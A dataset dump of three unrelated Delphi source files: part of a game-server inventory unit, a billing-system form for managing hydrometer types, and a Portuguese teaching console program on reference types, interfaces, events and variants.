Instance := fItemList[Index] as TItemInstance;
if (Instance.Item.ID = ID)AND (NOT Instance.Equipped) then
begin
Result := EnsureRange(Result + Instance.Quantity,0,High(LongWord));
end;
end;
end;
end;{AmountOf}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//AmountOf FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Find amount of an item using item name
//
// Changes -
// [2008/10/03] Aeomin - Created
//------------------------------------------------------------------------------
function TInventory.AmountOf(const Name:String):LongWord;
var
ID : LongWord;
begin
Result := 0;
ID := TThreadLink(ClientInfo.Data).DatabaseLink.Items.Find(Name);
if ID > 0 then
begin
Result := AmountOf(ID);
end;
end;{AmountOf}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Equip FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Attempt to equip an equipment
//
// Changes -
// [2008/10/05] Aeomin - Created
//------------------------------------------------------------------------------
procedure TInventory.Equip(const Index:Word);
var
AnItem : TItemInstance;
begin
AnItem := fItemList.IndexItems[Index];
if AnItem <> nil then
begin
//TEquipment will handle everything!
Equipment.Add(
AnItem
);
end;
end;{Equip}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Unequip FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Remove item from equipment
//
// Changes -
// [2008/10/10] Aeomin - Created
//------------------------------------------------------------------------------
procedure TInventory.Unequip(const Index:Word);
var
AnItem : TItemInstance;
begin
AnItem := fItemList.IndexItems[Index];
if AnItem <> nil then
begin
Equipment.Remove(
AnItem.Index
);
end;
end;{Unequip}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Use FUNCTION
//------------------------------------------------------------------------------
// What it does -
// Attempt to use item
//
// Changes -
// [2008/10/18] Aeomin - Created
//------------------------------------------------------------------------------
procedure TInventory.Use(const Index:Word);
var
AnItem : TItemInstance;
begin
AnItem := fItemList.IndexItems[Index];
if AnItem <> nil then
begin
if AnItem.Item is TUseableItem then
begin
Remove(AnItem,1);
end;
end;
end;{Use}
//------------------------------------------------------------------------------
end{Inventory}.
|
//******************************************************************************
// Проект ""
// Справочник видов водомеров
//
// последние изменения
//******************************************************************************
unit uHydrometerVid_main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxGraphics, cxStyles, cxCustomData, cxFilter, cxData,
cxDataStorage, cxEdit, DB, cxDBData, cxTextEdit, Placemnt, Menus,
cxGridTableView, ImgList, dxBar, dxBarExtItems, cxGridLevel,
cxGridCustomTableView, cxGridDBTableView, cxClasses, cxControls,
cxGridCustomView, cxGrid, dxStatusBar,uCommon_Funcs, uConsts,
uHydrometerVid_DM, uHydrometerVid_AE, uCommon_Messages, uConsts_Messages,
uCommon_Types, AccMGMT;
type
TfrmHydrometerVid_main = class(TForm)
StatusBar: TdxStatusBar;
Grid: TcxGrid;
GridDBView: TcxGridDBTableView;
name_hydrometer_vid: TcxGridDBColumn;
GridLevel: TcxGridLevel;
BarManager: TdxBarManager;
AddButton: TdxBarLargeButton;
EditButton: TdxBarLargeButton;
DeleteButton: TdxBarLargeButton;
RefreshButton: TdxBarLargeButton;
ExitButton: TdxBarLargeButton;
SelectButton: TdxBarLargeButton;
PopupImageList: TImageList;
LargeImages: TImageList;
DisabledLargeImages: TImageList;
Styles: TcxStyleRepository;
BackGround: TcxStyle;
FocusedRecord: TcxStyle;
Header: TcxStyle;
DesabledRecord: TcxStyle;
cxStyle1: TcxStyle;
cxStyle2: TcxStyle;
cxStyle3: TcxStyle;
cxStyle4: TcxStyle;
cxStyle5: TcxStyle;
cxStyle6: TcxStyle;
cxStyle7: TcxStyle;
cxStyle8: TcxStyle;
cxStyle9: TcxStyle;
cxStyle10: TcxStyle;
cxStyle11: TcxStyle;
cxStyle12: TcxStyle;
cxStyle13: TcxStyle;
cxStyle14: TcxStyle;
cxStyle15: TcxStyle;
cxStyle16: TcxStyle;
Default_StyleSheet: TcxGridTableViewStyleSheet;
DevExpress_Style: TcxGridTableViewStyleSheet;
PopupMenu1: TPopupMenu;
AddPop: TMenuItem;
EditPop: TMenuItem;
DeletePop: TMenuItem;
RefreshPop: TMenuItem;
ExitPop: TMenuItem;
bsFormStorage: TFormStorage;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
procedure GridDBViewDblClick(Sender: TObject);
procedure AddPopClick(Sender: TObject);
procedure EditPopClick(Sender: TObject);
procedure DeletePopClick(Sender: TObject);
procedure RefreshPopClick(Sender: TObject);
procedure ExitPopClick(Sender: TObject);
procedure AddButtonClick(Sender: TObject);
procedure EditButtonClick(Sender: TObject);
procedure DeleteButtonClick(Sender: TObject);
procedure RefreshButtonClick(Sender: TObject);
procedure SelectButtonClick(Sender: TObject);
procedure ExitButtonClick(Sender: TObject);
private
PLanguageIndex: byte;
DM : THydrometerVid_DM;
procedure FormIniLanguage;
public
res:Variant;
Is_admin:Boolean;
constructor Create(AParameter:TbsSimpleParams);reintroduce;
end;
{var
frmHydrometerVid_main: TfrmHydrometerVid_main; }
implementation
{$R *.dfm}
constructor TfrmHydrometerVid_main.Create(AParameter:TbsSimpleParams);
begin
Screen.Cursor:=crHourGlass;
inherited Create(AParameter.Owner);
Self.Is_admin := AParameter.is_admin;
DM:=THydrometerVid_DM.Create(Self);
DM.DB.Handle := AParameter.Db_Handle;
DM.DB.Connected := True;
DM.ReadTransaction.StartTransaction;
GridDBView.DataController.DataSource := DM.DataSource;
DM.DataSet.Close;
DM.DataSet.SQLs.SelectSQL.Text := 'select * from BS_SP_HYDROMETER_VID_SEL';
DM.DataSet.Open;
if AParameter.ID_Locate <> null
then DM.DataSet.Locate('id_hydrometer_vid', AParameter.ID_Locate, [] );
FormIniLanguage();
Screen.Cursor:=crDefault;
bsFormStorage.RestoreFormPlacement;
end;
procedure TfrmHydrometerVid_Main.FormIniLanguage;
begin
PLanguageIndex:= uCommon_Funcs.bsLanguageIndex();
//кэпшн формы
Caption:= uConsts.bs_sp_hydrometer_vid[PLanguageIndex];
//названия кнопок
AddButton.Caption := uConsts.bs_InsertBtn_Caption[PLanguageIndex];
EditButton.Caption := uConsts.bs_EditBtn_Caption[PLanguageIndex];
DeleteButton.Caption := uConsts.bs_DeleteBtn_Caption[PLanguageIndex];
RefreshButton.Caption := uConsts.bs_RefreshBtn_Caption[PLanguageIndex];
SelectButton.Caption := uConsts.bs_SelectBtn_Caption[PLanguageIndex];
ExitButton.Caption := uConsts.bs_ExitBtn_Caption[PLanguageIndex];
// попап
AddPop.Caption := uConsts.bs_InsertBtn_Caption[PLanguageIndex];
EditPop.Caption := uConsts.bs_EditBtn_Caption[PLanguageIndex];
DeletePop.Caption := uConsts.bs_DeleteBtn_Caption[PLanguageIndex];
RefreshPop.Caption := uConsts.bs_RefreshBtn_Caption[PLanguageIndex];
ExitPop.Caption := uConsts.bs_ExitBtn_Caption[PLanguageIndex];
//грид
name_hydrometer_vid.Caption := uConsts.bs_name_hydrometer_vid[PLanguageIndex];
//статусбар
StatusBar.Panels[0].Text:= uConsts.bs_InsertBtn_ShortCut[PLanguageIndex] + uConsts.bs_InsertBtn_Caption[PLanguageIndex];
StatusBar.Panels[1].Text:= uConsts.bs_EditBtn_ShortCut[PLanguageIndex] + uConsts.bs_EditBtn_Caption[PLanguageIndex];
StatusBar.Panels[2].Text:= uConsts.bs_DeleteBtn_ShortCut[PLanguageIndex] + uConsts.bs_DeleteBtn_Caption[PLanguageIndex];
StatusBar.Panels[3].Text:= uConsts.bs_RefreshBtn_ShortCut[PLanguageIndex] + uConsts.bs_RefreshBtn_Caption[PLanguageIndex];
StatusBar.Panels[4].Text:= uConsts.bs_EnterBtn_ShortCut[PLanguageIndex] + uConsts.bs_SelectBtn_Caption[PLanguageIndex];
StatusBar.Panels[5].Text:= uConsts.bs_ExitBtn_ShortCut[PLanguageIndex] + uConsts.bs_ExitBtn_Caption[PLanguageIndex];
end;
procedure TfrmHydrometerVid_main.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
bsFormStorage.SaveFormPlacement;
if FormStyle = fsMDIChild then action:=caFree
else
DM.Free;
end;
procedure TfrmHydrometerVid_main.FormShow(Sender: TObject);
begin
if FormStyle = fsMDIChild then SelectButton.Visible:=ivNever;
end;
procedure TfrmHydrometerVid_main.GridDBViewDblClick(Sender: TObject);
begin
if FormStyle = fsNormal then SelectButtonClick(Sender)
else EditButtonClick(Sender);
end;
procedure TfrmHydrometerVid_main.AddPopClick(Sender: TObject);
begin
AddButtonClick(Sender);
end;
procedure TfrmHydrometerVid_main.EditPopClick(Sender: TObject);
begin
EditButtonClick(Sender);
end;
procedure TfrmHydrometerVid_main.DeletePopClick(Sender: TObject);
begin
DeleteButtonClick(Sender);
end;
procedure TfrmHydrometerVid_main.RefreshPopClick(Sender: TObject);
begin
RefreshButtonClick(Sender);
end;
procedure TfrmHydrometerVid_main.ExitPopClick(Sender: TObject);
begin
ExitButtonClick(Sender);
end;
procedure TfrmHydrometerVid_main.AddButtonClick(Sender: TObject);
var
ViewForm : TfrmHydrometerVid_AE;
begin
if not Is_Admin then
if fibCheckPermission('/ROOT/BillingSystem/bs_sprav/bs_sp_HydrVid','Add') <> 0 then
begin
messagebox(handle,
pchar(uConsts_Messages.bs_NotHaveRights[PLanguageIndex]
+#13+ uConsts_Messages.bs_GoToAdmin[PLanguageIndex]),
pchar(uConsts_Messages.bs_ActionDenied[PLanguageIndex]), MB_ICONWARNING or mb_Ok);
exit;
end;
ViewForm := TfrmHydrometerVid_AE.Create(Self, PLanguageIndex);
ViewForm.Caption := uConsts.bs_InsertBtn_Caption[PLanguageIndex];
if ViewForm.ShowModal = mrOk then
begin
with DM.StProc do
begin
Transaction.StartTransaction;
StoredProcName := 'BS_SP_HYDROMETER_VID_INS';
Prepare;
ParamByName('name_hydrometer_vid').AsString := ViewForm.NameEdit.Text;
ExecProc;
try
Transaction.Commit;
except
on E:Exception do
begin
LogException;
bsShowMessage('Error',e.Message,mtError,[mbOK]);
Transaction.Rollback;
raise;
end;
end;
end;
RefreshButtonClick(self);
end;
end;
procedure TfrmHydrometerVid_main.EditButtonClick(Sender: TObject);
var
ViewForm : TfrmHydrometerVid_AE;
begin
if not Is_Admin then
if fibCheckPermission('/ROOT/BillingSystem/bs_sprav/bs_sp_HydrVid','Edit') <> 0 then
begin
messagebox(handle,
pchar(uConsts_Messages.bs_NotHaveRights[PLanguageIndex]
+#13+ uConsts_Messages.bs_GoToAdmin[PLanguageIndex]),
pchar(uConsts_Messages.bs_ActionDenied[PLanguageIndex]), MB_ICONWARNING or mb_Ok);
exit;
end;
If GridDBView.DataController.RecordCount = 0 then Exit;
ViewForm:= TfrmHydrometerVid_AE.Create(Self, PLanguageIndex);
ViewForm.Caption := uConsts.bs_EditBtn_Caption[PLanguageIndex];
ViewForm.NameEdit.Text := DM.DataSet['name_hydrometer_vid'];
if ViewForm.ShowModal = mrOk then
begin
with DM.StProc do
Begin
Transaction.StartTransaction;
StoredProcName := 'BS_SP_HYDROMETER_VID_UPD';
Prepare;
ParamByName('id_hydrometer_vid').AsInt64 := DM.DataSet['id_hydrometer_vid'];
ParamByName('name_hydrometer_vid').AsString := ViewForm.NameEdit.Text;
ExecProc;
try
Transaction.Commit;
except
on E:Exception do
begin
LogException;
bsShowMessage('Error',e.Message,mtError,[mbOK]);
Transaction.Rollback;
end;
end;
end;
RefreshButtonClick(self);
end;
end;
procedure TfrmHydrometerVid_main.DeleteButtonClick(Sender: TObject);
var
i: byte;
begin
if not Is_Admin then
if fibCheckPermission('/ROOT/BillingSystem/bs_sprav/bs_sp_HydrVid','Del') <> 0 then
begin
messagebox(handle,
pchar(uConsts_Messages.bs_NotHaveRights[PLanguageIndex]
+#13+ uConsts_Messages.bs_GoToAdmin[PLanguageIndex]),
pchar(uConsts_Messages.bs_ActionDenied[PLanguageIndex]), MB_ICONWARNING or mb_Ok);
exit;
end;
If GridDBView.DataController.RecordCount = 0 then Exit;
i:= uCommon_Messages.bsShowMessage(uConsts.bs_Confirmation_Caption[PLanguageIndex], uConsts_Messages.bs_hydrometer_vid_del[PLanguageIndex]+' '+DM.DataSet['name_hydrometer_vid']+'?', mtConfirmation, [mbYes, mbNo]);
if ((i = 7) or (i= 2)) then exit;
with DM.StProc do
begin
Transaction.StartTransaction;
StoredProcName := 'BS_SP_HYDROMETER_VID_DEL';
Prepare;
ParamByName('id_hydrometer_vid').AsInt64 := DM.DataSet['id_hydrometer_vid'];
ExecProc;
Transaction.Commit;
try
except
on E:Exception do
begin
LogException;
bsShowMessage('Error',e.Message,mtError,[mbOK]);
Transaction.Rollback;
end;
end;
end;
RefreshButtonClick(self);
end;
procedure TfrmHydrometerVid_main.RefreshButtonClick(Sender: TObject);
begin
Screen.Cursor := crHourGlass;
DM.DataSet.Close;
DM.DataSet.Open;
Screen.Cursor := crDefault;
end;
procedure TfrmHydrometerVid_main.SelectButtonClick(Sender: TObject);
var
id_sp: int64;
begin
if GridDBView.datacontroller.recordcount = 0 then exit;
Res:=VarArrayCreate([0,3],varVariant);
id_sp:= DM.DataSet['id_hydrometer_vid'];
Res[0]:= id_sp;
Res[1]:=DM.DataSet['name_hydrometer_vid'];
ModalResult:=mrOk;
end;
procedure TfrmHydrometerVid_main.ExitButtonClick(Sender: TObject);
begin
close;
end;
end.
|
unit uConsoleApplication;
interface
uses
Windows,
SysUtils,
uProduto,
uIAeroNave,
uAviao,
uHelicoptero,
Variants,
Classes;
type
TConsoleApplication = class
private
class procedure Cabecalho(cabecalho:string);
class procedure PressioneQualquerTecla;
class procedure MenuTipoReferencia;
class procedure ClearScreen;
class procedure GotoXY(X, Y : Word);
class function GetConOutputHandle : THandle;
class procedure ClassesTObject;
class function ReferenceEquals(obj1, obj2:TObject):boolean;
class procedure Interfaces;
class procedure MostraComoAeronavesFazem(AeroNave:IAeroNave);
class procedure EventosDelegates;
class procedure MostrarCalculoNoDelegateDuasCasasDecimais(const produto:TObject);
class procedure MostrarCalculoNoDelegateTresCasasDecimais(const produto:TObject);
class procedure BoxingUnboxing;
class procedure DynamicsVariants;
public
class procedure Executar;
end;
implementation
var
ConHandle : THandle; // Handle to console window
Coord : TCoord; // To store/set screen position
MaxX, MaxY : Word; // To store max window size
NOAW : DWord; // To store results of some functions
class procedure TConsoleApplication.Executar;
begin
ConHandle := GetConOutputHandle;
// Get max window size
Coord := GetLargestConsoleWindowSize(ConHandle);
MaxX := Coord.X;
MaxY := Coord.Y;
MenuTipoReferencia;
end;
class function TConsoleApplication.GetConOutputHandle : THandle;
begin
Result := GetStdHandle(STD_OUTPUT_HANDLE)
end;
class procedure TConsoleApplication.Cabecalho(cabecalho:string);
begin
ClearScreen;
WriteLn('============================================================');
WriteLn(cabecalho);
WriteLn('============================================================');
WriteLn('');
end;
class procedure TConsoleApplication.ClearScreen;
begin
Coord.X := 0; Coord.Y := 0;
FillConsoleOutputCharacter( ConHandle, ' ', MaxX*MaxY, Coord, NOAW);
GotoXY(0, 0);
end;
class procedure TConsoleApplication.GotoXY(X, Y : Word);
begin
Coord.X := X; Coord.Y := Y;
SetConsoleCursorPosition(ConHandle, Coord);
end;
class procedure TConsoleApplication.PressioneQualquerTecla;
begin
WriteLn('');
WriteLn('Presione qualquer tecla para continuar...');
ReadLn;
end;
class procedure TConsoleApplication.MenuTipoReferencia;
var opcao:string;
parar:boolean;
begin
opcao := '';
repeat
Cabecalho('Menu Tipo por Referencia');
WriteLn('Voce quer aprender sobre :');
WriteLn('1 - Classes e TObject');
WriteLn('2 - Interfaces');
WriteLn('3 - Delegates(Eventos)');
WriteLn('4 - Boxing e Unboxing');
WriteLn('5 - Dynamics (Variants)');
WriteLn('6 - Sair');
ReadLn(opcao);
if (opcao = '1') then
ClassesTObject
else if (opcao = '2') then
Interfaces
else if (opcao = '3') then
EventosDelegates
else if (opcao = '4') then
BoxingUnboxing
else if (opcao = '5') then
DynamicsVariants;
parar := opcao = '6';
until(parar);
end;
class procedure TConsoleApplication.ClassesTObject;
var Produto1, Produto2, Produto3: TProduto;
begin
Cabecalho('Classes e TObject');
Produto1 := TProduto.Create;
produto1.Codigo := 1;
produto1.Descricao := 'Coca-Cola 2L Gelada';
produto1.Preco := 5.75;
produto1.Quantidade := 5;
produto1.CalculaTotal;
WriteLn('[Antes de criar ''produto2''] Variavel ''produto1'' ' + produto1.ConverterParaString);
WriteLn('');
produto2 := produto1;
produto2.Quantidade := 10;
produto2.CalculaTotal;
WriteLn('[Depois de criar ''produto2''] Variavel ''produto2'' ' + produto2.ConverterParaString);
WriteLn('[Depois de criar ''produto2''] Variavel ''produto1'' ' + produto1.ConverterParaString);
WriteLn('');
WriteLn('Metodo do TObject');
WriteLn('produto1.ClassName = ' + produto1.ClassName);
Produto3 := TProduto.Create;
produto3.Codigo := 1;
produto3.Descricao := 'Coca-Cola 2L Gelada';
produto3.Preco := 5.75;
produto3.Quantidade := 10;
produto3.CalculaTotal;
WriteLn('Repare que os dados do ''produto1'' e exatamente igual ao ''produto3'' ');
WriteLn('Variavel ''produto1'' ' + produto1.ConverterParaString);
WriteLn('Variavel ''produto3'' ' + produto3.ConverterParaString);
if (produto1 = produto3) then
begin
WriteLn('Se entrar aqui e por que algo errado nao esta certo!');
end
else
begin
WriteLn('''Produto1'' e ''Produto3'' são identicos, mas não tem a mesma referencia!');
WriteLn('Debugar a funcao ReferenceEquals e veja que os enderecos de memoria são os mesmos!');
if ReferenceEquals(produto1, produto2) then
WriteLn('Porem ''Produto1'' e a mesma referencia de ''Produto2'' na Heap. Confirmado! :D');
end;
FreeAndNil(produto2);
try
produto2.Quantidade := 10;
Except on e:Exception do
begin
WriteLn('Ocorreu um acesso violento! ' + e.Message);
WriteLn('Repare que tentei acessar uma variavel que não possui um conteudo na Heap');
end;
end;
PressioneQualquerTecla;
end;
class function TConsoleApplication.ReferenceEquals(obj1, obj2:TObject):boolean;
var intObj1, intObj2: Integer;
begin
intObj1 := integer(obj1);
intObj2 := integer(obj2);
Result := intObj1 = intObj2;
end;
class procedure TConsoleApplication.Interfaces;
var
Aviao: TAviao;
Helicoptero: THelicoptero;
begin
Cabecalho('Interfaces');
WriteLn('Instanciando classe Aviao');
Aviao := TAviao.Create;
WriteLn('');
MostraComoAeronavesFazem(Aviao);
WriteLn('');
WriteLn('Instanciando classe Helicoptero');
Helicoptero := THelicoptero.Create;
WriteLn('');
MostraComoAeronavesFazem(Helicoptero);
PressioneQualquerTecla;
end;
class procedure TConsoleApplication.MostraComoAeronavesFazem(AeroNave:IAeroNave);
begin
WriteLn('Para mostrar o que a aeronave faz nao preciso da classe, apenas da interface. Conheço a abstracao isso ja e suficiente.');
WriteLn('');
WriteLn('Nome da Aeronave ' + aeroNave.Nome);
aeroNave.Decolar;
WriteLn('');
aeroNave.Pousar;
end;
class procedure TConsoleApplication.EventosDelegates;
var produto1, produto2: TProduto;
begin
Cabecalho('Delegate(Eventos)');
produto1 := TProduto.Create;
produto1.Codigo := 1;
produto1.Descricao := 'Coca-Cola 2L Gelada';
produto1.Preco := 5.75;
produto1.Quantidade := 5;
produto1.OnMostrarCalculo := MostrarCalculoNoDelegateDuasCasasDecimais;
produto1.CalculaTotal;
produto2 := TProduto.Create;
produto2.Codigo := 2;
produto2.Descricao := 'Gasolina Aditivada 1L';
produto2.Preco := 5.019;
produto2.Quantidade := 13;
produto2.OnMostrarCalculo := MostrarCalculoNoDelegateTresCasasDecimais;
produto2.CalculaTotal;
PressioneQualquerTecla;
end;
class procedure TConsoleApplication.MostrarCalculoNoDelegateDuasCasasDecimais(const produto:TObject);
var produtoToShow:TProduto;
begin
produtoToShow := TProduto(produto);
writeLn('Mostrando calculo com duas casas decimais');
writeLn('Valor Total do Produto => ' + FormatFloat('R$ #,##0.00', produtoToShow.Preco) + ' x ' + IntToStr(produtoToShow.Quantidade) + ' = ' + FormatFloat('R$ #,##0.00', produtoToShow.Total));
end;
class procedure TConsoleApplication.MostrarCalculoNoDelegateTresCasasDecimais(const produto:TObject);
var produtoToShow:TProduto;
begin
produtoToShow := TProduto(produto);
writeLn('Mostrando calculo com tres casas decimais');
writeLn('Valor Total do Produto => ' + FormatFloat('R$ #,###0.000)', produtoToShow.Preco) + ' x ' + IntToStr(produtoToShow.Quantidade) + ' = ' + FormatFloat('R$ #,##0.00', produtoToShow.Total));
end;
class procedure TConsoleApplication.BoxingUnboxing;
var o:TObject;
inteiro, i :Integer;
begin
Cabecalho('Boxing e Unboxing');
inteiro := 123;
o := TObject(inteiro);
writeLn('No C# o boxing é implicito, aqui no Delphi nao!');
writeLn('Fazendo Unboxing ' + IntToStr(integer(o)));
i := Integer(o);
writeLn('Copiado ao Valor de ''o'' para ''i'' valor =' + IntToStr(i));
PressioneQualquerTecla;
end;
class procedure TConsoleApplication.DynamicsVariants;
var variantString, variantInt, variantDateTime, variantStringList: Variant;
begin
Cabecalho('Variants (Dynamics C#)');
variantString := 'Eduardo Aguiar';
variantInt := 42;
variantDateTime := Now;
WriteLn(VarToStr(variantString));
WriteLn(Integer(variantInt));
WriteLn(DateToStr(variantDateTime));
try
WriteLn(DateToStr(variantString));
except on e:Exception do
begin
WriteLn('Erro conversão ' + e.Message);
end;
end;
PressioneQualquerTecla;
end;
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.